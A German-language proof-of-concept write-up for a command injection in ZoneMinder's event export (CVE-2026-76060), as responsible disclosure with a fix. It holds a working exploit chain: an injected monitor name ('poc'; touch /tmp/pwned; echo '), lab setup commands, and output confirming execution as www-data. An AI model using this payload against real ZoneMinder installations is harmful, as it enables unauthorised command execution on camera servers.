
Proof-of-Concept-Exploit für CVE-2026-76060, eine OS-Command-Injection im Event-Export von ZoneMinder, die RCE über manipulierte Monitornamen demonstriert.
Proof of Concept für eine OS-Command-Injection-Schwachstelle in der Event-Export-Funktion von ZoneMinder (web/includes/download_functions.php).
Monitornamen werden direkt in Shell-Befehle interpoliert, wobei manuell einfache Anführungszeichen gesetzt werden, anstatt escapeshellarg() zu verwenden. Ein Angreifer, der einen Monitor erstellen kann, kann beliebige Shell-Befehle injizieren, die als www-data/der Benutzer, unter dem der Prozess läuft, ausgeführt werden, sobald ein Benutzer einen Event-Export auslöst.
44c5c3c vom 4. Oktober 2023 – hier wurde die Datei download_functions.php eingeführt. Die Commit-Nachricht lautet „Introduce new download mode that concats event videos into 1 file per monitor.“ Der anfällige Code ist hier vorhanden, erforderte jedoch, dass zuerst ein Administrator den Monitor erstellt.2d49e93 vom 2. Januar 2024 – „Introduce a Create permission for Monitors, so that a given user may Edit existing monitors, but not create new ones.“ Hier ändert sich die Lage etwas. Nun kann ein Benutzer mit lediglich den Monitornamen für den Angriff festlegen, und jeder Benutzer mit Exportberechtigung kann ihn auslösen.Monitors=CreateBetroffene Versionen: >= 1.37.48 (enthält die SQL-Migrationsänderungen) und <= 1.38.1 Der 1.36.x-Zweig ist nicht betroffen.
Zwei Benutzer. Zwei Berechtigungsstufen. Eine Shell.
Monitors=Create oder Monitors=Edit, falls dort bereits ein Monitor existiert.Der Event-Datensatz muss nicht manuell erstellt werden. ZoneMinder ist ein Kamerasystem … es erstellt Event-Datensätze automatisch, während die Kameras laufen. In einer Live-Umgebung besteht der Einrichtungsschritt darin: Monitor erstellen, weggehen.
Der nicht bereinigte Monitorname erreicht zwei separate exec()-Aufrufe:
Zeile 126 | ffmpeg:
$cmd = ZM_PATH_FFMPEG.' -f concat -safe 0 -i event_files.txt -c copy \''.$export_dir.'/'.$mergedFileName. '\' 2>&1';
exec($cmd, $output, $return);
Zeile 150 | tar/zip:
$command .= ' \''.$mergedFileName.'\'';
if (executeShelCommand($command, $deleteFile = $mergedFileName) === false) return false;
Beide sind über denselben sorgfältig konstruierten Monitornamen erreichbar, unabhängig vom Exportformat.
git clone https://github.com/investigato/zoneminder-rce-poc.git
cd zoneminder-rce-poc
docker compose up -d
# warten, bis ZoneMinder die Initialisierung abgeschlossen hat (~30 Sekunden)
uv run poc.py
init.sql bootstrappt die Datenbank mit aktivierter Authentifizierung und zwei Benutzern:
medpriv mit Rechten zur Monitorerstellung (und aus Zeitgründen auch mit Rechten zur Ereigniserstellung, was in der Produktion jedoch nicht nötig ist)lowpriv mit ausschließlich Zugriff auf den Event-Exportuv run poc.py führt die gesamte Kette aus:
medpriv authentifiziert sich über die API und erstellt einen Monitor mit dem Namen poc'; touch /tmp/pwned; echo 'medpriv erstellt einen Event-Datensatz, um die Demo zu beschleunigen (in der Produktion erledigt ZoneMinder dies automatisch)lowpriv authentifiziert sich und löst einen Event-Export aus/tmp/pwned im Container und gibt das Ergebnis ausErwartete Ausgabe:
Login: 200
Token: ok
Create monitor: 200 — {"message":"Saved"}
Created monitor ID=1 name="poc'; touch /tmp/pwned; echo '"
Create event: 200
Event ID=1
Login: 200
Token: ok
Export: 200 = {"result":"Ok","exportFile":"?view=download&type=zip&file=Export.zip","exportFormat":"zip","connkey":""}
Deleted event 1
Deleted monitor 1
Did it work?
running docker exec ... ls -la /tmp/pwned inside the container to check if the file was created
Success! Command injection worked, /tmp/pwned was created inside the container.
-rw-r--r-- 1 www-data www-data 0 Jun 6 18:32 /tmp/pwned
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HAV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:NIn jedem Fall kostet escapeshellarg() zumindest nichts.
b3a7c05[!NOTE] Innerhalb von 12 Stunden nach der Meldung behoben. Keine Bestätigung des Maintainers, dass es sich um ein Sicherheitsproblem handelt. Ich bin anderer Meinung. Aktualisiert am 27.08.26 – Der Maintainer hat den Bericht bestätigt und eine CVE wurde vergeben.
Wenden Sie escapeshellarg() mindestens an beiden Injektionspunkten an:
// Zeile 126
$cmd = ZM_PATH_FFMPEG.' -f concat -safe 0 -i event_files.txt -c copy '.escapeshellarg($export_dir.'/'.$mergedFileName).' 2>&1';
// Zeile 150
$command .= ' '.escapeshellarg($mergedFileName);
Die Zeilen 116 und 211 in generateFileList() weisen dasselbe Muster auf.
Entdeckt von (@investigato)
Vollständiger Artikel: scriptkittens.com